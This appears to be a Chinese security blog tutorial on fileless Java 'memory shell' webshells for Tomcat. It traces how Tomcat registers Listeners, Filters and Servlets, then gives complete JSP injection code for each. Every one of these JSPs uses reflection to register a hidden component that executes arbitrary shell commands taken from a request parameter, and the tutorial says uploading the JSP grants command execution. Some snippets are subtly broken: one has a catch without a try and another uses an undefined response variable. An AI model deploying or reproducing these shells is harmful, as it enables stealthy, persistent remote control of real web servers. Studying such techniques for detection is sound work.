0x00 内存马
内存马是无文件攻击的一种常用手段,传统的webshell都是基于文件落地来进行命令执行,webshell文件保存在目标机器本地,容易被检测出来很容易就被清理掉。
而内存马则是在内存中写入webshell,达到远程控制Web服务器的一类内存马,相较之下检测难度大一些,更为安全。
0x01 Listener马
什么是Listener
在Javaweb中,Listener
用于监听某个事件的发生,状态的改变。
Listener会监听三个域对象创建与销毁:
- 监听
ServletContext
域对象的创建与销毁:
- 创建:启动服务器时创建
- 销毁:关闭服务器或者从服务器移除项目
- 监听
ServletRequest
域对象的创建与销毁:
- 创建:访问服务器任何资源都会发送请求(ServletRequest)出现,访问.html和.jsp和.servlet都会创建请求。
- 销毁:服务器已经对该次请求做出了响应。
- 监听
HttpSession
域对象的创建与销毁:
- 创建:只要调用了getSession()方法就会创建,一次会话只会创建一次
- 销毁:1.超时(默认为30分钟) 2.非正常关闭,销毁 3.正常关闭服务器(序列化)
相较之下,自然是监听ServletRequest
域对象的创建与销毁最方便触发使用,只需要对url进行请求即可。
通过Listener进行命令执行
既然Listener
可以监听ServletRequest
域对象的创建与销毁,且存在两个方法,requestInitialized
:在request对象创建时触发,requestDestroyed
:在request对象销毁时触发,那么我们就可以在其中插入可以命令执行的代码来进行测试验证通过Listener
来进行内存马是否可行。
可以写如下这样一个TestListener
类,然后在web.xml
中进行注册<listener><listener-class>com.example.TestListener</listener-class></listener>
,访问http://localhost:8080/?cmd=calc
可以得知命令执行能实现,那么就成功了第一步。
package com.example;
import org.apache.catalina.connector.Request;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.annotation.WebListener;
import javax.servlet.http.*;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;
@WebListener()
public class TestListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("ServletRequest销毁了");
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("cmd") != null) {
Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
InputStream inputStream = process.getInputStream();
BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = buffer.readLine()) != null) {
resp.getWriter().println(line);
}
resp.getWriter().flush();
} catch (Exception ignored) {
}
}
@Override
public void requestInitialized(ServletRequestEvent arg0) {
System.out.println("ServletRequest创建了");
}
}
如何注册Listener?
那么我们要如何注册Listener?在进行内存马注入时,显然我们不能做到修改目标机器的web.xml
来注册,可以先跟踪一下Listener是怎么注册的。
Tomcat使用两类Listener
接口分别是org.apache.catalina.LifecycleListener
和原生java.util.EvenListener
。
其中LifecycleListener
多用于Tomcat初始化启动阶段,此时客户端的请求还没有进行解析,我们也就不能获取传入的参数从而执行想要执行的命令,显然是不太适用的。
而继承了EvenListener
接口的ServletRequestListener
接口用于对Request请求进行监听,可以获取客户端传入的参数,显然是很适合用于内存马。
public void requestInitialized(ServletRequestEvent sre);//request初始化,对实现客户端的请求进行监听
public void requestDestroyed(ServletRequestEvent sre);//对销毁客户端进行监听,即当执行request.removeAttribute("XXX")时调用
//ServletRequestEvent事件:
public ServletRequest getServletRequest();//取得一个ServletRequest对象
public ServletContext getServletContext();//取得一个ServletContext(application)对象
想要得知Listener
是如何进行注册的,可以先在requestInitialized()
处打上断点,当request初始化时就会调用requestInitialized()
。
通过IDEA调试,找到是在StandardContext#fireRequestInitEvent
方法中调用的listener.requestInitialized(event);
,这里的listener
显然就是我们注册的listener
,而他是通过this.getApplicationEventListeners()
来进行获取。
public boolean fireRequestInitEvent(ServletRequest request) {
Object[] instances = this.getApplicationEventListeners();
if (instances != null && instances.length > 0) {
ServletRequestEvent event = new ServletRequestEvent(this.getServletContext(), request);
Object[] var4 = instances;
int var5 = instances.length;
for(int var6 = 0; var6 < var5; ++var6) {
Object instance = var4[var6];
if (instance != null && instance instanceof ServletRequestListener) {
ServletRequestListener listener = (ServletRequestListener)instance;
try {
listener.requestInitialized(event);
} catch (Throwable var10) {
ExceptionUtils.handleThrowable(var10);
this.getLogger().error(sm.getString("standardContext.requestListener.requestInit", new Object[]{instance.getClass().getName()}), var10);
request.setAttribute("javax.servlet.error.exception", var10);
return false;
}
}
}
}
return true;
}
来看StandardContext#getApplicationEventListeners
,返回了this.applicationEventListenersList.toArray()
,是保存了所有Listener
的数组,往上就是找在哪将Listener
添加到这个数组中的。
public Object[] getApplicationEventListeners() {
return this.applicationEventListenersList.toArray();
}
搜索一下applicationEventListenersList
,很容易就找到了在StandardContext#addApplicationEventListener
往数组applicationEventListenersList
中添加了listener
,那么我们只需要想办法调用这个方法,就可以将我们的Listener
进行注册了。
public void addApplicationEventListener(Object listener) {
this.applicationEventListenersList.add(listener);
}
内存马编写
下面就是对内存马jsp文件进行编写。
首先要获取StandardContext
对象,有几种方法来获取。
StandardContext 获取
已有request对象的情况
可以先获取HttpRequest
对象,再通过该对象的getServletContext
方法获取servletContext
对象,并一步一步获取到StandardContext
对象。关于Tomcat中的三个Context可以看一下这篇文章关于Tomcat中的三个Context的理解。
<%
javax.servlet.ServletContext servletContext = request.getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
System.out.println(standardContext);
%>
除此之外,我们还可以通过如下方法快捷获取StandardContext
对象。
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
在进行访问时,此时的Request
对象是用的Facde
模式来进行包装,而这个RequestFacade
对象的request
属性就是Request
对象,可以通过反射来获取包装的Request
对象。
而在Request
对象的mappingData
属性中的context
属性就是StandardContext
对象。
调用Request#getContext
即可获取StandardContext
对象。
public Context getContext() {
return this.mappingData.context;
}
没有request对象的情况
由于Tomcat处理请求的线程中,存在ContextLoader
对象,而这个对象又保存了StandardContext
对象,所以很方便就获取了。适用于Tomcat 8 9。
<%
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =
(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext)
webappClassLoaderBase.getResources().getContext();
%>
更多的情况这里就不一一细说了,可参考Java内存马:一种Tomcat全版本获取StandardContext的新方法学习。
完整Listener内存马
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class InjectListener implements ServletRequestListener {
@Override
public void requestDestroyed(ServletRequestEvent sre) {
System.out.println("ServletRequest销毁了");
HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
if (req.getParameter("command") != null) {
Process process = Runtime.getRuntime().exec(req.getParameter("command"));
InputStream inputStream = process.getInputStream();
BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = buffer.readLine()) != null) {
resp.getWriter().println(line);
}
resp.getWriter().flush();
} catch (Exception ignored) {
}
}
@Override
public void requestInitialized(ServletRequestEvent arg0) {
System.out.println("ServletRequest创建了");
}
}
%>
<% ;
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
<%
InjectListener injectListener = new InjectListener();
context.addApplicationEventListener(injectListener);
%>
将此jsp文件上传,然后访问,传入参数command
即可执行任意命令。
0x02 Filter马
什么是 Filter
Filter
过滤器与Listener
同为 JavaWeb 的三大组件之一。Filter
过滤器它的作用是拦截请求和过滤响应。拦截请求常见的应用场景有权限检查、日记操作、事务管理等等。
Filter
过滤器接口有三个方法,分别是:
destroy()
:Filter
销毁时调用,在Filter
的生命周期中仅执行一次。doFilter()
:过滤方法 主要是对request
和response
进行一些处理,然后交给下一个过滤器或Servlet
处理。init()
:初始化方法 接收一个FilterConfig
类型的参数 该参数是对Filter
的一些配置。
由此,我们内存马的逻辑代码自然是在doFilter()
方法中进行书写。
通过Filter进行命令执行
同样,还是先写一个Filter
来进行命令执行。
访问http://localhost:8080/?filter=calc
可以得知命令执行能实现,那么就成功了第一步。
package com.example;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
@WebFilter(filterName = "TestFilter", urlPatterns = "/*")
public class TestFilter implements Filter {
@Override
public void destroy() {
}
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
if (req.getParameter("filter") != null) {
try {
Process process = Runtime.getRuntime().exec(req.getParameter("filter"));
InputStream inputStream = process.getInputStream();
BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = buffer.readLine()) != null) {
resp.getWriter().println(line);
}
resp.getWriter().flush();
} catch (Exception ignored) {
}
}
chain.doFilter(req, resp);
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
}
如何注册Filter?
接下来的问题还是我们要如何注册Filter
,
init()
方法是在Filter
进行创建时执行的,所以我们选择在Filter()
方法处打下断点。
调试看一下调用链,往上一步是ApplicationFilterConfig#initFilter
调用this.filter.init(this)
来对filter
进行初始化。
再往上就是ApplicationFilterConfig#getFilter
,其中的filterClass
就是我们的Filter
的类名,而this.filterDef.getFilterClass()
就是返回了this.filterClass
,也就是说我们得找到我们的Filter
是在哪添加到this.filterDef
中的。
Filter getFilter() throws ClassCastException, ReflectiveOperationException, ServletException, NamingException, IllegalArgumentException, SecurityException {
if (this.filter != null) {
return this.filter;
} else {
String filterClass = this.filterDef.getFilterClass();
this.filter = (Filter)this.context.getInstanceManager().newInstance(filterClass);
this.initFilter();
return this.filter;
}
}
接着往上就是ApplicationFilterConfig
类的创建方法,this.filterDef = filterDef
。
ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ReflectiveOperationException, ServletException, NamingException, IllegalArgumentException, SecurityException {
this.context = context;
this.filterDef = filterDef;
if (filterDef.getFilter() == null) {
this.getFilter();
} else {
this.filter = filterDef.getFilter();
context.getInstanceManager().newInstance(this.filter);
this.initFilter();
}
}
而创建ApplicationFilterConfig
类的地方就在StandardContext#filterStart
中,传入的第二个参数filterDef
就是(FilterDef)entry.getValue()
,entry
就是对HashMap
filterDefs
的迭代。
public boolean filterStart() {
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug("Starting filters");
}
boolean ok = true;
synchronized(this.filterConfigs) {
this.filterConfigs.clear();
Iterator var3 = this.filterDefs.entrySet().iterator();
while(var3.hasNext()) {
Entry<String, FilterDef> entry = (Entry)var3.next();
String name = (String)entry.getKey();
if (this.getLogger().isDebugEnabled()) {
this.getLogger().debug(" Starting filter '" + name + "'");
}
try {
ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
this.filterConfigs.put(name, filterConfig);
} catch (Throwable var8) {
Throwable t = ExceptionUtils.unwrapInvocationTargetException(var8);
ExceptionUtils.handleThrowable(t);
this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), t);
ok = false;
}
}
return ok;
}
}
搜索一下找一下哪可以对filterDef
进行添加,很快就找到了StandardContext#addFilterDef
,
public void addFilterDef(FilterDef filterDef) {
synchronized(this.filterDefs) {
this.filterDefs.put(filterDef.getFilterName(), filterDef);
}
this.fireContainerEvent("addFilterDef", filterDef);
}
在创建完ApplicationFilterConfig
对象后,又调用了this.filterConfigs.put(name, filterConfig)
,将ApplicationFilterConfig
对象与name
一起放入了this.filterConfigs
。
所以我们要做的就是将构造好的FilterDef
对象存入this.filterDefs
,然后创建一个ApplicationFilterConfig
对象存入this.filterConfigs
。
似乎到这里已经可以把Filter
添加进去就已经可以注册Filter
了?
与Listener
不同的是,Filter
需要对其进行配置,常用配置项有:
urlPatterns
:配置要拦截的资源,例如设置为/*
就是拦截所有url。initParams
:配置初始化参数,跟Servlet配置一样dispatcherTypes
: 配置拦截的类型,可配置多个。默认为DispatcherType.REQUEST。
而这些配置项我们还没有添加进去,接下来在我们的doFilter
处打下断点,看看这些配置项在哪。
断点调试,往上一步到了ApplicationFilterChain#internalDoFilter
,调用了filter.doFilter(request, response, this)
,而他是从this.filters
中获取。
private void internalDoFilter(ServletRequest request, ServletResponse response) throws IOException, ServletException {
if (this.pos < this.n) {
ApplicationFilterConfig filterConfig = this.filters[this.pos++];
try {
Filter filter = filterConfig.getFilter();
if (request.isAsyncSupported() && "false".equalsIgnoreCase(filterConfig.getFilterDef().getAsyncSupported())) {
request.setAttribute("org.apache.catalina.ASYNC_SUPPORTED", Boolean.FALSE);
}
if (Globals.IS_SECURITY_ENABLED) {
Principal principal = ((HttpServletRequest)request).getUserPrincipal();
Object[] args = new Object[]{request, response, this};
SecurityUtil.doAsPrivilege("doFilter", filter, classType, args, principal);
} else {
filter.doFilter(request, response, this); // 调用我们的 filter.doFilter
}
} catch (ServletException | RuntimeException | IOException var15) {
throw var15;
} catch (Throwable var16) {
Throwable e = ExceptionUtils.unwrapInvocationTargetException(var16);
ExceptionUtils.handleThrowable(e);
throw new ServletException(sm.getString("filterChain.filter"), e);
}
} else {
...
}
}
往上就是ApplicationFilterChain#doFilter
调用了internalDoFilter()
,再往上就是StandardWrapperValve#invoke
,调用了filterChain.doFilter(request.getRequest(), response.getResponse());
,这个filterChain
就是我们上面的ApplicationFilterChain
类。
回溯一下,找到了这个对象的创建,ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet)
,在他的创建方法中,存在filterChain.addFilter
的调用,往其中添加Filter
,添加内容是对FilterMap[]
的迭代处理。而filterMaps
是从StandardContext
中获取的。
StandardContext context = (StandardContext)wrapper.getParent();
FilterMap[] filterMaps = context.findFilterMaps();
......
for(var12 = 0; var12 < var11; ++var12) {
filterMap = var10[var12];
if (matchDispatcher(filterMap, dispatcher) && matchFiltersURL(filterMap, requestPath)) {
filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
if (filterConfig != null) {
filterChain.addFilter(filterConfig);
}
}
}
在这断点看一下这个filterMaps
有哪些配置选项,以便于我们可以构造。
同样在StandardContext
中也存在方法addFilterMap
来设置filterMaps
。
public void addFilterMap(FilterMap filterMap) {
this.validateFilterMap(filterMap);
this.filterMaps.add(filterMap);
this.fireContainerEvent("addFilterMap", filterMap);
}
内存马编写
综上,我们需要一个恶意的Filter
类,然后通过这个类构造一个恶意的FilterDef
类,将其添加到StandardContext
中。然后构造这个过滤器的配置内容FilterMap
,同样将其添加到StandardContext
中。最后通过反射构造ApplicationFilterConfig
类,将其存入StandardContext.filterDef
中即可。
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.util.Map" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
public class InjectFilter implements Filter {
@Override
public void destroy() {
}
@Override
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws ServletException, IOException {
if (req.getParameter("InjectFilter") != null) {
try {
Process process = Runtime.getRuntime().exec(req.getParameter("InjectFilter"));
InputStream inputStream = process.getInputStream();
BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = buffer.readLine()) != null) {
resp.getWriter().println(line);
}
resp.getWriter().flush();
} catch (Exception ignored) {
}
}
chain.doFilter(req, resp);
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
Field configs = context.getClass().getDeclaredField("filterConfigs");
configs.setAccessible(true);
Map filterConfigs = (Map) configs.get(context);
%>
<%
InjectFilter injectFilter = new InjectFilter();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(injectFilter);
filterDef.setFilterName("InjectFilter");
filterDef.setFilterClass(injectFilter.getClass().getName());
context.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.setFilterName("InjectFilter");
filterMap.addURLPattern("/*");
context.addFilterMap(filterMap);
Constructor constructor =
ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
constructor.newInstance(context, filterDef);
filterConfigs.put("InjectFilter", filterConfig);
%>
0x03 Servlet马
什么是Servlet
相信学过Javaweb的师傅们,相对于三大组件中的Listener
、Filter
,Servlet
应该更加熟悉。
Servlet
是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。
Servlet
有几个阶段。
- 装载:启动服务器时加载
Servlet
的实例 -
装载:启动服务器时加载Servlet的实例
-
初始化:web服务器启动时或web服务器接收到请求时,或者两者之间的某个时刻启动。初始化工作有
init()
方法负责执行完成 -
调用:即每次调用Servlet的
service()
,例如常用的HttpServlet
,就会根据请求方式调用不同的方法,例如doGet()
、doPost()
等。 -
销毁:停止服务器时调用
destroy()
方法,销毁实例。
我们只需要让我们的Servlet
继承HttpServlet
类,然后重写doGet()
方法即可。
通过Servlet进行命令执行
下面是一个可用于命令执行的Servlet
的示例。访问http://localhost:8080/test?servlet=calc
即可。
package com.example;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
@WebServlet("/test")
public class TestServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
if (req.getParameter("servlet") != null) {
Process process = Runtime.getRuntime().exec(req.getParameter("servlet"));
InputStream inputStream = process.getInputStream();
BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = buffer.readLine()) != null) {
resp.getWriter().println(line);
}
resp.getWriter().flush();
}
}
}
如何注册Servlet?
想要动态注册Servlet
,就要先了解什么是Wrapper
。
Tomcat由四大容器组成,分别是Engine
、Host
、Context
、Wrapper
。这四个组件是负责关系,存在包含关系。只包含一个引擎(Engine):
- Engine(引擎):表示可运行的Catalina的servlet引擎实例,并且包含了servlet容器的核心功能。在一个服务中只能有一个引擎。同时,作为一个真正的容器,Engine元素之下可以包含一个或多个虚拟主机。它主要功能是将传入请求委托给适当的虚拟主机处理。如果根据名称没有找到可处理的虚拟主机,那么将根据默认的Host来判断该由哪个虚拟主机处理。
Host (虚拟主机):作用就是运行多个应用,它负责安装和展开这些应用,并且标识这个应用以便能够区分它们。它的子容器通常是 Context。一个虚拟主机下都可以部署一个或者多个Web App,每个Web App对应于一个Context,当Host获得一个请求时,将把该请求匹配到某个Context上,然后把该请求交给该Context来处理。主机组件类似于Apache中的虚拟主机,但在Tomcat中只支持基于FQDN(完全合格的主机名)的“虚拟主机”。Host主要用来解析web.xml。
Context(上下文):代表 Servlet 的 Context,它具备了 Servlet 运行的基本环境,它表示Web应用程序本身。Context 最重要的功能就是管理它里面的 Servlet 实例,一个Context代表一个Web应用,一个Web应用由一个或者多个Servlet实例组成。
Wrapper(包装器):代表一个 Servlet,它负责管理一个 Servlet,包括的 Servlet 的装载、初始化、执行以及资源回收。Wrapper 是最底层的容器,它没有子容器了,所以调用它的 addChild 将会报错。
下图就表示了几者之间的关系。
知道了Wrapper
的作用后,我们就要知道如何创建一个Wrapper
了,我们可以通过StandardContext#createWapper
方法来创建Wrapper
对象,然后设置我们构造的Servlet
的属性。
<%
Wrapper newWrapper = context.createWrapper();
String name = testServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(testServlet);
newWrapper.setServletClass(testServlet.getClass().getName());
%>
下面开始调试,在org.apache.catalina.StandardContext#createWrapper
方法处打下断点,找到是在哪创建的Wrapper
对象。
网上追溯一下来到了org.apache.catalina.startup.ContextConfig#configureContext
中,创建了Wrapper
对象,然后设置了启动优先级LoadOnStartUp
,以及servlet
的Name
。
......
while(var35.hasNext()) {
ServletDef servlet = (ServletDef)var35.next();
Wrapper wrapper = this.context.createWrapper();
if (servlet.getLoadOnStartup() != null) {
wrapper.setLoadOnStartup(servlet.getLoadOnStartup());
}
if (servlet.getEnabled() != null) {
wrapper.setEnabled(servlet.getEnabled());
}
wrapper.setName(servlet.getServletName());
......
}
然后在下面又将这个wrapper
添加到StandardContext
中:this.context.addChild(wrapper);
。
接着运行到下面,调用了this.context.addServletMappingDecoded()
来添加Servlet-Mapper
进行映射。也就是将我们的servlet
与url进行绑定。
while(var35.hasNext()) {
Entry<String, String> entry = (Entry)var35.next();
this.context.addServletMappingDecoded((String)entry.getKey(), (String)entry.getValue());
}
这样我们就知道了一个Servlet
是怎么生成的了,接下来来看看是怎么将其添加的。
回到StandardContext#startInternal
,可以看到Tomcat的加载顺序为:listener -> filter -> servlet
。着重看一下servlet
的部分,this.findChildren()
会返回所有的child
,也就是之前添加的wrapper
。进入this.loadOnStartup()
看一下。
if (ok && !this.listenerStart()) {
log.error(sm.getString("standardContext.listenerFail"));
ok = false;
}
......
if (ok && !this.filterStart()) {
log.error(sm.getString("standardContext.filterFail"));
ok = false;
}
if (ok && !this.loadOnStartup(this.findChildren())) {
log.error(sm.getString("standardContext.servletFail"));
ok = false;
}
这里存在一个判断,wrapper.getLoadOnStartup() >= 0
才会进入if,将其添加到list
中,而这个返回值就是this.loadOnStartup
,即Servlet
的启动顺序,在web.xml
中使用<load-on-startup></load-on-startup>
标签进行设置,或者在@WebServlet
注解中使用loadOnStartup
来设置。如果该wrapper
的loadOnStartup
为默认值-1,则不会在启动时进行加载。
for(int var5 = 0; var5 < var4; ++var5) {
Container child = var3[var5];
Wrapper wrapper = (Wrapper)child;
int loadOnStartup = wrapper.getLoadOnStartup();
if (loadOnStartup >= 0) {
Integer key = loadOnStartup;
ArrayList<Wrapper> list = (ArrayList)map.get(key);
if (list == null) {
list = new ArrayList();
map.put(key, list);
}
list.add(wrapper);
}
}
在迭代判断完之后,在下面调用wrapper.load()
对list
中的wrapper
进行装载,装载所有的 Servlet 之后,就会根据具体请求进行初始化、调用、销毁一系列操作。
内存马编写
自此,我们就可以来编写servlet
内存马了。
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Wrapper" %>
<%@ page import="java.io.*" %>
<%!
public class InjectServlet extends HttpServlet {
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException {
if (req.getParameter("InjectServlet") != null) {
Process process = Runtime.getRuntime().exec(req.getParameter("InjectServlet"));
InputStream inputStream = process.getInputStream();
BufferedReader buffer = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = buffer.readLine()) != null) {
resp.getWriter().println(line);
}
resp.getWriter().flush();
}
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
%>
<%
Servlet testServlet = new InjectServlet();
Wrapper newWrapper = context.createWrapper();
String name = testServlet.getClass().getSimpleName();
newWrapper.setName(name);
newWrapper.setLoadOnStartup(1);
newWrapper.setServlet(testServlet);
newWrapper.setServletClass(testServlet.getClass().getName());
%>
<%
context.addChild(newWrapper);
context.addServletMappingDecoded("/InjectServlet", name);
%>
Comments | NOTHING